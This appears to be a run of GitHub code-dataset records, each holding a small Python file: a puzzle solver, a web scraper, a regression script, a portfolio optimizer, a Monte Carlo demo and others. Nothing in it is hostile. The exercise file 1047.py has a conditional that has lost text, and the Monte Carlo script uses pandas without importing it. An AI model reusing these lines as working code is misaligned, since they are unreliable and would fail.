load_pressure_observations_march_29()\n","repo_name":"keileg/RN-34-stimulation","sub_path":"observations_RN34.py","file_name":"observations_RN34.py","file_ext":"py","file_size_in_byte":10949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38593216985","text":"import numpy as np\n\ndef star1(n,fabric):\n fabric_claim = fabric\n counter = 0\n for element in n:\n for i in range(element[-1]):\n fabric_claim[element[2]+i][element[1]:element[1] + element[-2]] += 1\n\n for element in fabric_claim:\n for i in element:\n if i > 1:\n counter += 1\n return counter\n\n\ndef star2(n, fabric):\n for element in n:\n for i in range(element[-1]):\n for pos in range(element[-2]):\n if fabric[element[2]+i][element[1]+pos] == 0:\n fabric[element[2]+i][element[1] + pos] = element[0]\n else:\n fabric[element[2] + i][element[1] + pos] = 'NaN'\n\ndef counter(n,fabric):\n for line in n:\n c = (fabric == line[0]).sum()\n if c == line[-1]*line[-2]:\n result = line[0]\n return result\n\nif __name__ == '__main__':\n fabric = np.zeros((1000,1000))\n fabric2 = np.zeros((1000,1000))\n\n n = [x.replace(\",\", \" \").replace(\":\",\"\").replace(\"x\", \" \").replace(\"@\", \"\").split() for x in map(str,input().split('#'))]\n n = [[int(x) for x in element] for element in n]\n n.pop(0)\n\n print(\"Result star 1 day 3: {}\".format(star1(n,fabric)))\n star2(n,fabric2)\n print(\"Result star 2 day 3: {}\".format(counter(n,fabric2)))\n","repo_name":"monterich/adventofcode2018","sub_path":"day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69969318027","text":"#coding=utf-8\n\nimport requests\nimport re\nfrom bs4 import BeautifulSoup\nimport lxml\nimport json\n\n\nsheet_src = '1PCCnOeg4gbIFhPT5H2wuo6gWHnobt0hCdJSZLCyAXaA'\nurl = 'https://spreadsheets.google.com/feeds/list/' + sheet_src + '/1/public/values?alt=json'\n\nusername = []\nrealname = []\nfcc_info = []\n# username = [\"jd615645\", \"jayhung97724\", \"lukechu1997\"]\ni = 0\n\ninputdata = requests.get(url).json()\nfor name in inputdata['feed']['entry']:\n username.append(name['gsx$username']['$t'])\n realname.append({name['gsx$username']['$t']: name['gsx$name']['$t']})\n\nfor name in username:\n #送出GET請求到遠端伺服器,伺服器接受請求後回傳,代表請求成功\n print(name)\n res = requests.get(\"https://www.freecodecamp.com/\" + name)\n\n #經過BeautifulSoup內lxml編輯器解析的結果\n data = BeautifulSoup(res.text, 'lxml')\n\n #使用select選取特定元素\n source = data.select('h1.text-primary')[0].get_text()\n source = re.search('[0-9]+', source).group()\n img = data.select('.img-center')[0]['src']\n challenges = data.select('table tr')\n challenge = []\n for j in range(1, len(challenges)):\n select = challenges[j].select('td:nth-of-type(1)')[0].get_text()\n # print select\n challenge.append(select)\n fcc_info.append({'username': name, 'realname': realname[i][name], 'source': source, 'img': img, 'challenge': challenge})\n i+=1\n\n# print json.dumps(fcc_info)\nwith open('/home/sakamoto/FCCrank/public/json/result.json', 'w') as f:\n json.dump(fcc_info, f)\n","repo_name":"jd615645/FCCRank","sub_path":"public/json/fcc.py","file_name":"fcc.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"39723178475","text":"cadena=input().split()\nti=int(cadena[0])\nmi=int(cadena[1])\ntf=int(cadena[2])\nmf=int(cadena[3])\n#Calculando horas\nif ti>tf:\n cal=24-ti+tf\nelif tf>ti:\n cal=tf-ti\nelif ti==tf:\n cal=24\n#Calculando minutos\nif mimf:\n cal2=60-mi+mf\n cal=cal-1\nelif mi==mf:\n cal2=0\nprint('O JOGO DUROU '+str(cal)+' HORA(S) E '+str(cal2)+' MINUTO(S)')\n","repo_name":"DerekMazino/Uri-Online-Judge","sub_path":"Principiante/1047.py","file_name":"1047.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29998422194","text":"scope = \"System\"\ndescription = \"\"\"\n This role grants a user basic, read-only, access permission to a gGRC\n instance.\n \"\"\"\npermissions = {\n \"read\": [\n \"Categorization\",\n \"Category\",\n \"ControlCategory\",\n \"ControlAssertion\",\n \"Control\",\n \"ControlControl\",\n \"ControlSection\",\n \"DataAsset\",\n \"Directive\",\n \"Contract\",\n \"Policy\",\n \"Regulation\",\n \"Standard\",\n \"DirectiveControl\",\n \"DirectiveSection\",\n \"Document\",\n \"Facility\",\n \"Help\",\n \"Market\",\n \"Objective\",\n \"ObjectiveControl\",\n \"ObjectControl\",\n \"ObjectDocument\",\n \"ObjectObjective\",\n \"ObjectPerson\",\n \"ObjectSection\",\n \"Option\",\n \"OrgGroup\",\n \"PopulationSample\",\n \"Product\",\n \"ProgramControl\",\n \"ProgramDirective\",\n \"Project\",\n \"Relationship\",\n \"RelationshipType\",\n \"SectionBase\",\n \"Section\",\n \"Clause\",\n \"SectionObjective\",\n \"SystemOrProcess\",\n \"System\",\n \"Process\",\n \"SystemControl\",\n \"SystemSystem\",\n \"ObjectOwner\",\n \"Person\",\n \"Program\",\n \"Role\",\n \"UserRole\",\n \"Context\",\n {\n \"type\": \"BackgroundTask\",\n \"terms\": {\n \"property_name\": \"modified_by\",\n \"value\": \"$current_user\"\n },\n \"condition\": \"is\"\n },\n ],\n \"create\": [],\n \"view_object_page\": [\n \"__GGRC_ALL__\"\n ],\n \"update\": [],\n \"delete\": []\n}\n","repo_name":"dandv/ggrc-core","sub_path":"src/ggrc_basic_permissions/roles/Reader.py","file_name":"Reader.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"28438994311","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 6 12:45:46 2022\r\n\r\n@author: elifm\r\n\"\"\"\r\n#Gerekli kutuphanelerin import edilmesi\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n#veri setinin okunmasi\r\nveriler=pd.read_csv('movie_metadata.csv')\r\nprint(veriler)\r\n\r\n#veri setindeki bos degerlere ortalama degerlerin yazilmasi\r\nfrom sklearn.impute import SimpleImputer\r\nimputer = SimpleImputer(missing_values=np.nan, strategy='mean')\r\n \r\nboslar = veriler.iloc[:,2:6].values\r\nprint(boslar)\r\nimputer = imputer.fit(boslar[:,0:4])\r\nboslar[:,0:4] = imputer.transform(boslar[:,0:4]) \r\nprint(boslar)\r\n\r\nimputer2 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar2 = veriler.iloc[:,7:9].values\r\nprint(boslar2)\r\nimputer2 = imputer2.fit(boslar2[:,0:2])\r\nboslar2[:,0:2]=imputer2.transform(boslar2[:,0:2])\r\nprint(boslar2)\r\n\r\nimputer3 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar3 = veriler.iloc[:,12:14].values\r\nprint(boslar3)\r\nimputer3 = imputer3.fit(boslar3[:,0:2])\r\nboslar3[:,0:2]=imputer3.transform(boslar3[:,0:2])\r\nprint(boslar3)\r\n\r\nimputer4 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar4 = veriler.iloc[:,18:19].values\r\nprint(boslar4)\r\nimputer4 = imputer4.fit(boslar4[:,0:1])\r\nboslar4[:,0:1]=imputer4.transform(boslar4[:,0:1])\r\nprint(boslar4)\r\n\r\nimputer5 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar5 = veriler.iloc[:,22:23].values\r\nprint(boslar5)\r\nimputer5 = imputer5.fit(boslar5[:,0:1])\r\nboslar5[:,0:1]=imputer5.transform(boslar5[:,0:1])\r\nprint(boslar5)\r\n\r\nimputer6 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar6 = veriler.iloc[:,24:25].values\r\nprint(boslar6)\r\nimputer6 = imputer6.fit(boslar6[:,0:1])\r\nboslar6[:,0:1]=imputer6.transform(boslar6[:,0:1])\r\nprint(boslar6)\r\n\r\nimputer7 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar7 = veriler.iloc[:,25:26].values\r\nprint(boslar7)\r\nimputer7 = imputer7.fit(boslar7[:,0:1])\r\nboslar7[:,0:1]=imputer7.transform(boslar7[:,0:1])\r\nprint(boslar7)\r\n\r\nimputer8 = SimpleImputer(missing_values=np.nan, strategy='mean')\r\nboslar8 = veriler.iloc[:,26:28].values\r\nprint(boslar8)\r\nimputer8 = imputer8.fit(boslar8[:,0:2])\r\nboslar8[:,0:2]=imputer8.transform(boslar8[:,0:2])\r\nprint(boslar8)\r\n\r\n#sutunlarin DataFrame'e cevrilmesi\r\nsonuc=pd.DataFrame(data=boslar, index=range(5043), columns=['critics','duration','dirFbLikes','a3fbLikes'])\r\nprint(sonuc)\r\n\r\nsonuc2=pd.DataFrame(data=boslar2, index=range(5043), columns=['a1fbLikes','gross'])\r\nprint(sonuc2)\r\n\r\nsonuc3=pd.DataFrame(data=boslar3, index=range(5043), columns=['votedUsers','castFbLikes'])\r\nprint(sonuc3)\r\n\r\nsonuc4=pd.DataFrame(data=boslar4, index=range(5043), columns=['userReviews'])\r\nprint(sonuc4)\r\n\r\nsonuc5=pd.DataFrame(data=boslar5, index=range(5043), columns=['budget'])\r\nprint(sonuc5)\r\n\r\nsonuc6=pd.DataFrame(data=boslar6, index=range(5043), columns=['a2fbLikes'])\r\nprint(sonuc6)\r\n\r\nsonuc7=pd.DataFrame(data=boslar7, index=range(5043), columns=['imdb'])\r\nprint(sonuc7)\r\n\r\nsonuc8=pd.DataFrame(data=boslar8, index=range(5043), columns=['aspectratio','movieFbLikes'])\r\nprint(sonuc8)\r\n\r\n#DataFrame'lerin bagimsiz degiskenleri elde etmek icin birlestirilmesi\r\ns=pd.concat([sonuc,sonuc2], axis=1)\r\nprint(s)\r\ns=pd.concat([s,sonuc3], axis=1)\r\nprint(s)\r\ns=pd.concat([s,sonuc4], axis=1)\r\nprint(s)\r\ns=pd.concat([s,sonuc5], axis=1)\r\nprint(s)\r\ns=pd.concat([s,sonuc6], axis=1)\r\nprint(s)\r\ns=pd.concat([s,sonuc8], axis=1)\r\nprint(s)\r\n\r\n#veri setinin train ve test olarak ikiye bolunmesi\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(s,sonuc7,test_size=0.33, random_state=0)\r\n\r\n#verilerin olceklenmesi\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc=StandardScaler()\r\n\r\nX_train=sc.fit_transform(x_train)\r\nX_test=sc.fit_transform(x_test)\r\nY_train=sc.fit_transform(y_train)\r\nY_test=sc.fit_transform(y_test)\r\n\r\n#MLR ile tahmin yapilmasi\r\nfrom sklearn.linear_model import LinearRegression\r\nlr=LinearRegression()\r\nlr.fit(X_train,Y_train)\r\n\r\ntahmin=lr.predict(X_test)\r\n\r\ntahmin=sc.inverse_transform(tahmin)\r\n\r\nothers=s\r\nimdb=sonuc7\r\n\r\n#verilere 1'lerden olusan constant degerlerin eklenmesi\r\nimport statsmodels.api as sm\r\nX = np.append(arr = np.ones((5043,1)).astype(int), values=others, axis=1)\r\n\r\n#her bir bagimsiz degiskenin p-value'sunun gorulmesi\r\nX_l = X[:,[0,1,2,3,4,5,6,7,8,9,10,11,12,13]]\r\nX_l = np.array(X_l,dtype=float)\r\nmodel = sm.OLS(imdb,X_l).fit()\r\nprint(model.summary())\r\n\r\nX_l = X[:,[0,1,2,3,4,5,6,7,8,9,11,12,13]]\r\nX_l = np.array(X_l,dtype=float)\r\nmodel = sm.OLS(imdb,X_l).fit()\r\nprint(model.summary())\r\n\r\n#R-squared degerinin hesaplanmasi\r\nimport sklearn.metrics as metrics\r\nr2 = metrics.r2_score(y_test, tahmin)\r\n\r\nprint(\"Results of sklearn.metrics:\")\r\n\r\nprint(\"R-Squared:\", r2)","repo_name":"elifmrtgl/ytu-cmpe","sub_path":"IMDb Predictor/19011065.py","file_name":"19011065.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"73241294347","text":"import re\nimport networkx as nx\nfrom typing import Any\n\nProperties = dict[str, Any]\nKEYWORD_RULE = \"Rule: Gamma (default):\"\nKEYWORD_DEF = \"Name:\"\n\n\ndef process_file(output_file: str):\n block: list[str] = []\n graph = nx.MultiDiGraph()\n current_file: str = \"\"\n with open(output_file, encoding=\"utf-8\") as f:\n for line in f:\n line = line.strip()\n if not line:\n if block:\n update_with_block(graph, block, current_file)\n block = []\n elif line.startswith(\"Processing file\"):\n current_file = line[line.find(\".\") + 1 :].strip()\n else:\n block.append(line)\n assert not block\n\n\ndef get_module_chain(current_file: str) -> list[str]:\n \"\"\"\n What we would like to have is\n\n .Dedukti/libraries/big-libraries/matita-light/matita_arithmetics_bigops.dk\n --> [matita-light, matita, arithmetics, bigops] (probably)\n .Dedukti/libraries/big-libraries/focalide/lattices.dk\n --> [focalide, lattices]\n .Dedukti/libraries/big-libraries/focalide/loose_sets.dk\n --> [focalide, loose_sets]\n\n but it seems that all the libraries have flat file structure,\n so lets simply convert every entry via split on slashes.\n If current file starts with a dot, the dot is removed.\n \"\"\"\n current_file = current_file.replace(\"\\\\\", \"/\")\n current_file = re.sub(\"/+\", \"/\", current_file)\n while current_file[0] in \"./\":\n current_file = current_file[1:] # :)\n assert current_file.endswith(\".dk\"), current_file\n parts = current_file[:-3].split(\"/\")\n module_chain = []\n for i in range(len(parts)):\n module_chain.append(\".\".join(parts[: i + 1]))\n return module_chain\n\n\ndef keyword_check(keywords: list[str], lines: list[str]):\n assert len(lines) == len(keywords)\n for key, line in zip(keywords, lines):\n assert line.startswith(key), (line, key)\n\n\ndef process_rule(\n lines: list[str],\n) -> tuple[dict[str, Properties], dict[tuple[str, str, str], Properties]]:\n \"\"\"\n Rule: Gamma (default): cc.Arrow!17\n PatternTypes: {\"t1\":{\"hypotehsis\":[[\"cc\",\"uT\"]], \"conclusion\":[]},\"t2\":{\"hypotehsis\":[[\"cc\",\"uT\"]], \"conclusion\":[]}}\n LHSParams:[\"t1\",\"t2\"]\n LHSNames:[[\"cc\",\"Arrow\"]]\n RHSNames:[[\"cc\",\"Pi\"],[\"cc\",\"eT\"]]\n RHSIdents:[\"t1\",\"t1\",\"t2\"]\n \"\"\"\n keywords = [\n \"Rule\",\n \"PatternTypes\",\n \"LHSParams\",\n \"LHSNames\",\n \"RHSNames\",\n \"RHSIdents\",\n ]\n keyword_check(keywords, lines)\n return {}, {}\n\n\ndef process_definition(\n lines: list[str],\n) -> tuple[dict[str, Properties], dict[tuple[str, str, str], Properties]]:\n \"\"\"\n Name: [\".Dedukti/libraries/paradoxes/miquel\",\"Prop\"]\n Type: {\"hypotehsis\":[], \"conclusion\":[]}\n Term: [\"miquel\",\"term\"],[\"miquel\",\"prop\"]\n \"\"\"\n keywords = [\"Name\", \"Type\", \"Term\"]\n keyword_check(keywords, lines)\n return {}, {}\n\n\ndef add_node_carefully(node: str, properties: dict[str, Any], graph: nx.MultiDiGraph):\n \"\"\"\n Adds node to the graph. If the node already exists (it might have been added \n while adding an edge), it updates its properties if necessary.\n \"\"\"\n if node in graph.nodes:\n if \"temp\" not in properties:\n if \"temp\" not in graph[node]:\n raise ValueError(f\"Cannot add node {node} more than once!\")\n else:\n del graph[node][\"temp\"]\n nx.set_node_attributes(graph, {node: properties})\n\n\ndef add_edge_carefully(\n edge: tuple[str, str, str], properties: dict[str, Any], graph: nx.MultiDiGraph\n):\n assert not properties or list(properties) == [\"weight\"], properties\n source, sink, e_type = edge\n if source not in graph:\n add_node_carefully(source, {\"temp\": True}, graph)\n if sink not in graph:\n add_edge_carefully(sink, {\"temp\": True}, graph)\n # TODO\n \n\n\ndef update_with_block(\n graph: nx.MultiDiGraph, block_lines: list[str], current_file: str\n):\n module_chain = get_module_chain(current_file)\n for module in module_chain:\n add_node_carefully(module, {\"id\": module, \"label\": \"module\"}, graph)\n if block_lines[0].startswith(KEYWORD_RULE):\n nodes, edges = process_rule(block_lines)\n elif block_lines[0].startswith(KEYWORD_DEF):\n nodes, edges = process_definition(block_lines)\n else:\n raise ValueError(f\"Unknown block in {current_file}:\\n{block_lines[0]}\")\n for node_id, properties in nodes.items():\n add_node_carefully(node_id, properties, graph)\n for edge_id, properties in edges.items():\n add_edge_carefully(edge_id, properties, graph)\n\n\nif __name__ == \"__main__\":\n process_file(\"output_all.out\")\n print(\"Dune.\")\n","repo_name":"jO-Osko/DeduktiParser","sub_path":"create_network.py","file_name":"create_network.py","file_ext":"py","file_size_in_byte":4705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"21819509394","text":"# Configuration file for the Sphinx documentation builder.\n\n# -- Project information\n\nproject = 'Kestrel'\ncopyright = 'University of Bristol'\nauthor = 'Jake Langham & Mark Woodhouse'\n\nrelease = '1.0'\n\n# -- General configuration\n\nextensions = [\n 'sphinx.ext.duration',\n 'sphinx.ext.doctest',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'sphinx.ext.intersphinx',\n]\n\nintersphinx_mapping = {\n 'python': ('https://docs.python.org/3/', None),\n 'sphinx': ('https://www.sphinx-doc.org/en/master/', None),\n}\nintersphinx_disabled_domains = ['std']\n\ntemplates_path = ['_templates']\n\n# -- Options for HTML output\n\nhtml_theme = 'alabaster'\nhtml_logo = 'logo.png'\n\n# -- alabaster theme options\nhtml_theme_options = {\n 'fixed_sidebar': True,\n # 'sidebar_collapse': True,\n}\n\n# -- Options for EPUB output\nepub_show_urls = 'footnote'\n\n# -- Options for latex\nlatex_elements = {\n 'preamble': r'''\\usepackage{amssymb}\n \\usepackage{bm}\n '''\n}\n\n# -- Options for latex\nlatex_elements = {\n 'preamble': r'''\\usepackage{amssymb}\n \\usepackage{bm}\n '''\n}\n\n","repo_name":"jakelangham/kestrel","sub_path":"docs/source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25813901241","text":"from floem import *\n\nn_cores = 1\nnic_cores = 1\n\nclass MyState(State):\n core = Field(SizeT)\n payload = Field(Pointer(Uint(8)), size='sizeof(param_entry)')\n\nclass main(Flow):\n state = PerPacket(MyState)\n\n def impl(self):\n # Queue\n RxEnq, RxDeq, RxScan = queue_smart.smart_queue(\"rx_queue\", entry_size=32, size=32 * 1024, insts=n_cores,\n channels=1, enq_blocking=True, enq_atomic=True, enq_output=False)\n rx_enq = RxEnq()\n rx_deq = RxDeq()\n\n class Reply(Element):\n def configure(self):\n self.inp = Input(SizeT, \"void*\", \"void*\")\n self.out = Output(SizeT, \"void*\", \"void*\")\n\n def impl(self):\n self.run_c(r'''\n (size_t size, void* pkt, void* buff) = inp();\n param_message* m = (param_message*) pkt;\n\n struct eth_addr src = m->ether.src;\n struct eth_addr dest = m->ether.dest;\n m->ether.src = dest;\n m->ether.dest = src;\n\n struct ip_addr src_ip = m->ipv4.src;\n struct ip_addr dest_ip = m->ipv4.dest;\n m->ipv4.src = dest_ip;\n m->ipv4.dest = src_ip;\n\n uint16_t src_port = m->udp.src_port;\n uint16_t dest_port = m->udp.dest_port;\n m->udp.dest_port = src_port;\n m->udp.src_port = dest_port;\n\n m->status = 1;\n\n /*\n uint8_t* p = pkt;\n int i;\n for(i=0; i<64; i++) {\n printf(\"%x \",p[i]);\n }\n printf(\"\\n\");\n */\n\n output { out(size, pkt, buff); }\n ''')\n\n class Save(Element):\n def configure(self):\n self.inp = Input(SizeT, \"void *\", \"void *\")\n self.out = Output()\n\n def impl(self):\n self.run_c(r'''\n (size_t size, void* pkt, void* buff) = inp();\n //state.pkt = pkt;\n //state.pkt_buff = buff;\n param_message* m = (param_message*) pkt;\n\n state.core = nic_htonl(m->pool) %s %d;\n state.payload = (uint8_t*) &m->pool;\n\n output { out(); }\n ''' % ('%', n_cores))\n\n class nic_rx(Segment):\n def impl(self):\n from_net = net.FromNet()\n to_net = net.ToNet()\n\n from_net.nothing >> library.Drop()\n\n from_net >> Save() >> rx_enq\n from_net >> Reply() >> to_net\n\n ############################ CPU #############################\n class Scheduler(Element):\n def configure(self):\n self.out = Output(SizeT)\n\n def impl(self):\n self.run_c(r'''\n static size_t core = 0;\n core = (core+1) %s %d;\n output { out(core); }\n ''' % ('%', n_cores))\n\n class Update(Element):\n def configure(self):\n self.inp = Input()\n\n def impl(self):\n self.run_c(r'''\n uint8_t* payload = state.payload;\n uint32_t* pool = payload;\n double* param = payload + sizeof(uint32_t);\n update_param(*pool, *param);\n ''')\n\n class run(Segment):\n def impl(self):\n #Scheduler() >> rx_deq\n self.core_id >> rx_deq\n rx_deq.out[0] >> Update()\n\n nic_rx('nic_rx', device=target.CAVIUM, cores=range(nic_cores))\n run('run', process='app', cores=range(n_cores))\n\nmaster_process('app')\n\nc = Compiler(main)\nc.include = r'''\n#include \"protocol_binary.h\"\n'''\nc.generate_code_as_header()\nc.depend = ['app', 'param_update']\nc.compile_and_run(\"test_queue\")\n","repo_name":"mangpo/floem","sub_path":"apps/benchmarks_param_update/main_nic.py","file_name":"main_nic.py","file_ext":"py","file_size_in_byte":3645,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"} +{"seq_id":"7148690551","text":"import pathlib\n\nfrom time import time\n\nfrom csv import reader\nfrom math import ceil\n\nMONEY_INVESTED = 500\n\n# Sort data by price clusters and ignore least profitable ones to speed up process.\nFILTER_DATA = False\nREDUCTION_FACTOR = 10\n\nPROJECT_DIR = pathlib.Path(__file__).parent.absolute()\nDATASETS = list(pathlib.Path(PROJECT_DIR).glob(\"*.csv\"))\nSHARES_LIST = None\n\n\ndef measure_time(func):\n def _time_it(*args, **kwargs):\n start = int(round(time() * 1000))\n try:\n return func(*args, **kwargs)\n finally:\n end_ = (int(round(time() * 1000)) - start) / 1000\n print(f\"\\nExecution time: {end_ if end_ > 0 else 0} s\")\n\n return _time_it\n\n\ndef load_dataset(dataset: int) -> None:\n global SHARES_LIST\n\n with open(dataset, newline=\"\") as f:\n r = reader(f)\n\n # Ignore csv columns header.\n next(r)\n\n # Ignore negative and null cost shares.\n shares_raw = [x for x in r if x[1][0] != \"-\" and x[1] != \"0.0\"]\n SHARES_LIST = [(x, int(float(y) * 100), float(z)) for [x, y, z] in shares_raw]\n\n if FILTER_DATA:\n SHARES_LIST = cluster_dataset(SHARES_LIST)\n\n\ndef print_result(best_outcome: list) -> None:\n print(\"- Cost:\", sum(best_outcome[2]) / 100, \"€\")\n print(\"- Profit:\", best_outcome[0] / 100, \"€\")\n print(\"- Selected shares:\\n -\", \"\\n - \".join(best_outcome[1]))\n\n\ndef cluster_dataset(dataset: list) -> list:\n \"\"\"Creates clusters of shares grouped by cost.\n Filters out the least profitable ones.\n\n Args:\n dataset (list): Original dataset.\n\n Returns:\n list: Filtered dataset.\n \"\"\"\n\n # Set clusters length to 1% of total length.\n cluster_length = round(len(dataset) / 100)\n\n if cluster_length <= 1:\n print(\" ! Dataset is too small to be clustered, dataset will not be modified !\")\n return dataset\n\n shares_left_by_cluster = cluster_length / REDUCTION_FACTOR\n\n if shares_left_by_cluster < 1:\n print(\"\\n ! Reduction factor too big for this dataset, reduction factor set to\", cluster_length, \" !\\n\")\n\n remove_n_first_shares = int(cluster_length - ceil(shares_left_by_cluster))\n\n # Sort and group shares by cost.\n dataset.sort(key=lambda x: x[1])\n clusters = [dataset[i : i + cluster_length] for i in range(0, len(dataset), cluster_length)]\n print(\"Previous dataset length:\", len(dataset))\n\n i = 0\n for cluster in clusters:\n if len(cluster) < cluster_length:\n continue\n\n # Sort clusters by profit %.\n dataset.sort(key=lambda dataset: dataset[2])\n\n clusters[i] = cluster[remove_n_first_shares:]\n i += 1\n\n dataset = list([y for x in clusters for y in x])\n print(\"Filtered dataset length:\", len(dataset), \"\\n\")\n\n return dataset\n\n\ndef find_best_portofolio(money_invested: int, shares: list) -> None:\n \"\"\"Finds the best portofolio share distribution using a dynamic programmation\n algorithm.\n It considers every share possible and determines if adding it to portofolio\n is worth by comparing potential profit with previous share results.\n\n Args:\n money_invested (int): Total portofolio cost.\n shares (list): List of selectable shares.\n \"\"\"\n\n # *100 to allow working with decimals.\n money_invested *= 100\n\n # Matrix of [Profit, Name, Cost] * money_invested\n matrix = [[0, [], []] for x in range(money_invested + 1)]\n\n # Named list index for readability.\n m_profit = 0\n m_name = 1\n m_cost = 2\n\n # Iterate through all selectable shares\n for i in range(1, len(shares) + 1):\n current_share = shares[i - 1]\n\n name = current_share[0]\n cost = current_share[1]\n profit = (cost / 100) * current_share[2]\n\n # Iterate from 0 to money_invested.\n # For each possible portofolio cost, check if currently considered\n # share would be a more profitable choice.\n for m in range(money_invested, cost, -1):\n\n # Best possible profit with previous share minus current share cost.\n best_profit_minus_cost = matrix[m - cost]\n\n # Best possible profit with previous share at the same total cost.\n best_same_cost_profit = matrix[m][m_profit]\n\n # Possible profit if current share is added to portofolio.\n current_profit = best_profit_minus_cost[m_profit] + profit\n\n # If adding current share is more profitable. Else keep previous share result.\n if current_profit > best_same_cost_profit:\n # Add current share to the portofolio.\n matrix[m][m_profit] = current_profit\n matrix[m][m_name] = best_profit_minus_cost[m_name] + [name]\n matrix[m][m_cost] = best_profit_minus_cost[m_cost] + [cost]\n\n print_result(best_outcome=matrix[-1])\n\n\ndef main() -> None:\n global SHARES_LIST\n global DATASETS\n\n for dataset in DATASETS:\n print(\"Processing: \", dataset, \"\\n\")\n\n load_dataset(dataset=dataset)\n\n # If total cost of all shares is <= MONEY_INVESTED, then all shares\n # could just be returned to have O(1) time complexity\n # on great MONEY_INVESTED values.\n\n find_best_portofolio(money_invested=MONEY_INVESTED, shares=SHARES_LIST)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PabloLec/oc_share_portofolio","sub_path":"optimized.py","file_name":"optimized.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8659625976","text":"# -*- coding: utf-8 -*-\r\n\r\nimport read_data\r\nimport numpy as np\r\nfrom scipy.optimize import curve_fit\r\nimport matplotlib.pyplot as plt\r\n\r\n# Using sheet 2 for the sake of this demo\r\nSHEET = 2\r\n\r\ndef cauchy(x, a, b, c):\r\n \"\"\" Define a cauchian distribution function. We're not using\r\n a high degree polynomial fit, because the calculations would\r\n be too difficult. Cauchian distribution is the best evalution\r\n of this data.\r\n \"\"\"\r\n \r\n return c*(b*np.pi*(1+((x-a)/b)**2))**(-1)\r\n\r\n\r\ndef read(sheet):\r\n \"\"\" Read data and fit a cauchian distribution to data with least \r\n squares method.\r\n \r\n return: dataframe of data and distribution function\r\n \"\"\"\r\n \r\n df = read_data.read(sheet-1)\r\n energy = df['x']\r\n frequency = df['y']\r\n \r\n # Fitting the data with least squares using curve_fit from scipy library\r\n popt, pcov = curve_fit(cauchy, energy, frequency)\r\n dist = cauchy(energy, *popt)\r\n \r\n return df, dist\r\n\r\n\r\ndef plot_data():\r\n \"\"\" Plots the data and the cauchian distribution.\r\n \"\"\"\r\n \r\n # Read data\r\n df, dist = read(SHEET)\r\n energy, frequency = df['x'], df['y']\r\n \r\n # Plot data and distribution\r\n plt.plot(energy, frequency, 'k.', label='Data')\r\n \r\n plt.plot(energy, dist, lw=2, c='r',\r\n label='Cauchian distribution')\r\n \r\n plt.xlabel('Energy (eV)')\r\n plt.ylabel('Frequency')\r\n plt.grid(ls='--')\r\n plt.legend()\r\n plt.show()\r\n\r\n\r\ndef montecarlo(points):\r\n \"\"\" We're using Monte Carlo integration method for this demo. README\r\n has some more info on how the method works.\r\n \"\"\"\r\n \r\n # Read data\r\n df, dist = read(SHEET)\r\n energy, frequency = df['x'], df['y']\r\n popt, pcov = curve_fit(cauchy, energy, frequency) \r\n \r\n # Defining the values of the integration window. Energy (e) values\r\n # are hand picked from the plot and frequency (f) values are from 0 to\r\n # the maximum value of the distribution function\r\n e1, e2 = 44, 56\r\n f1, f2 = 0, max(dist)\r\n \r\n # Initializing some vectors\r\n inside = [] # Is the point inside the area or not (true = 1, false = 0)\r\n energies = [] \r\n frequencies = []\r\n \r\n for i in range(points):\r\n # Random x value\r\n x = np.random.uniform(e1, e2)\r\n energies.append(x)\r\n \r\n # Random y value\r\n y = np.random.uniform(f1, f2)\r\n frequencies.append(y)\r\n \r\n # Check if the random value is inside the area or not and append \r\n # inside list with the corresponding value\r\n if y > cauchy(x, *popt):\r\n inside.append(False)\r\n \r\n else:\r\n inside.append(True)\r\n \r\n # Count the probability (README has some more info on this)\r\n probability = inside.count(1) / len(inside)\r\n \r\n # Using DataFrame again, because it makes the process a bit easier\r\n mcdf = pd.DataFrame()\r\n mcdf['x'], mcdf['y'], mcdf['z'] = energies, frequencies, inside\r\n \r\n hits_x = mcdf[mcdf['z'] == True]['x']\r\n hits_y = mcdf[mcdf['z'] == True]['y']\r\n \r\n misses_x = mcdf[mcdf['z'] == False]['x']\r\n misses_y = mcdf[mcdf['z'] == False]['y']\r\n \r\n # Plot the method\r\n plt.plot(energy, dist)\r\n plt.scatter(hits_x, hits_y, c='blue', s=0.5)\r\n plt.scatter(misses_x, misses_y, c='red', s=0.5)\r\n \r\n plt.title('Monte Carlo integration, N = {}, P = {}'\r\n .format(points, probability))\r\n plt.xlabel('Energy (eV)')\r\n plt.ylabel('Frequency')\r\n plt.grid(ls='--')\r\n plt.show() \r\n 